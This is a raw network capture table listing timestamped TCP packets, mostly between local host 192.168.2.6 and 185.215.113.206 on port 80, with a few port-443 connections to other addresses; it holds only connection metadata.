Nov 28, 2024 17:24:47.423840046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.423892021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.424053907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.424088955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.424576044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.424659014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.424695015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.424741983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.426369905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.426383018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.426410913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.426426888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.427123070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.427222967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.427243948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.427278042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.427320004 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:47.427809000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.428000927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.428075075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.428153038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.428508043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.428558111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.428636074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.428692102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.471339941 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:47.530334949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.530483007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.530569077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.530570030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.530613899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.530626059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.530659914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.531358004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.531399965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.531404972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.531438112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.531995058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.532068968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.532109976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.532154083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.532702923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.532748938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.532763004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.532960892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.533498049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.533545017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.533600092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.533654928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.534123898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.534195900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.534229994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.534275055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.534854889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.534902096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.534993887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.535124063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.535630941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.535644054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.535691977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.536371946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.536427021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.536438942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.536478996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.537033081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.537080050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.537115097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.537178040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.537744045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.537789106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.537853003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.537893057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.538506985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.538547039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.538574934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.538597107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.539181948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.539194107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.539252996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.539869070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.539921999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.539987087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.540091038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.540615082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.540683031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.540807009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.540851116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.541357040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.541400909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.541404009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.541439056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.542121887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.542166948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.542196035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.542244911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.542694092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.542742968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.542810917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.542915106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.543550014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.543601990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.543654919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.543703079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.606023073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.606065035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.606076002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.606112003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.606297016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.606342077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.606427908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.606475115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.606977940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.607023954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.607074022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.607116938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.607649088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.607691050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.607803106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.607848883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.608426094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.608478069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.608525991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.608570099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.609417915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.609458923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.609488964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.609532118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.609829903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.609874964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.609904051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.609972954 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.610512018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.610555887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.610605001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.610665083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.611288071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.611361027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.611368895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.611411095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.611962080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.612013102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.612082005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.612127066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.612677097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.612725019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.612824917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.612875938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.613444090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.613492012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.613542080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.613713026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.614152908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.614197016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.614236116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.614273071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.614854097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.614921093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.614975929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.615022898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.615556002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.615600109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.615664959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.615712881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.616349936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.616400003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.616403103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.616494894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.616993904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.617033958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.617140055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.617295980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.617682934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.617721081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.617831945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.617875099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.618376017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.618423939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.618443966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.618482113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.619098902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.619144917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.619266033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.619311094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.619820118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.619880915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.619957924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.620057106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.620594978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.620642900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.620748997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.620795965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.621260881 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.621313095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.621496916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.621542931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.621959925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.622009039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.622072935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.622117996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.622950077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.622961998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.623003006 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.623363972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.623444080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.623460054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.623483896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.624118090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.624165058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.624388933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.624445915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.624888897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.624946117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.624998093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.625039101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.625572920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.625629902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.625716925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.625762939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.626240969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.626281023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.626446962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.626491070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.626940966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.627008915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.627036095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.627099037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.627669096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.627715111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.627727032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.627768040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.628421068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.628465891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.628482103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.628662109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.629097939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.629167080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.707452059 CET	49891	443	192.168.2.6	20.189.173.10
Nov 28, 2024 17:24:47.707495928 CET	443	49891	20.189.173.10	192.168.2.6
Nov 28, 2024 17:24:47.707568884 CET	49891	443	192.168.2.6	20.189.173.10
Nov 28, 2024 17:24:47.707784891 CET	49891	443	192.168.2.6	20.189.173.10
Nov 28, 2024 17:24:47.707802057 CET	443	49891	20.189.173.10	192.168.2.6
Nov 28, 2024 17:24:47.731584072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.731637955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.731693983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.731842995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.731928110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.731940031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.731970072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.732577085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.732635975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.732702971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.732750893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.733354092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.733403921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.733475924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.733514071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.734040976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.734107018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.734205961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.734304905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.735064030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.735125065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.735153913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.735192060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.735443115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.735507965 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.735527992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.735562086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.736283064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.736342907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.736355066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.736408949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.736916065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.736975908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.736985922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.737023115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.737628937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.737679958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.737714052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.737751961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.738260984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.738317013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.738332987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.738372087 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.739046097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.739108086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.739113092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.739151001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.739793062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.739842892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.739909887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.739950895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.740453005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.740520000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.740570068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.740614891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.741146088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.741205931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.741286039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.741329908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.741880894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.741935015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.742007017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.742044926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.742563963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.742614985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.742710114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.742774010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.743341923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.743411064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.743463993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.743621111 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.743983984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.744117975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.744126081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.744167089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.744709969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.744752884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.744781017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.744884968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.788403034 CET	49892	443	192.168.2.6	20.75.60.91
Nov 28, 2024 17:24:47.788429976 CET	443	49892	20.75.60.91	192.168.2.6
Nov 28, 2024 17:24:47.788670063 CET	49892	443	192.168.2.6	20.75.60.91
Nov 28, 2024 17:24:47.788944006 CET	49892	443	192.168.2.6	20.75.60.91
Nov 28, 2024 17:24:47.788961887 CET	443	49892	20.75.60.91	192.168.2.6
Nov 28, 2024 17:24:47.807465076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.807481050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.807563066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.807606936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.807658911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.807776928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.807830095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.808327913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.808387995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.808465004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.808599949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.809102058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.809165955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:47.809187889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:47.809221983 CET	49813	80	192.168.2.6	185.215.113.206
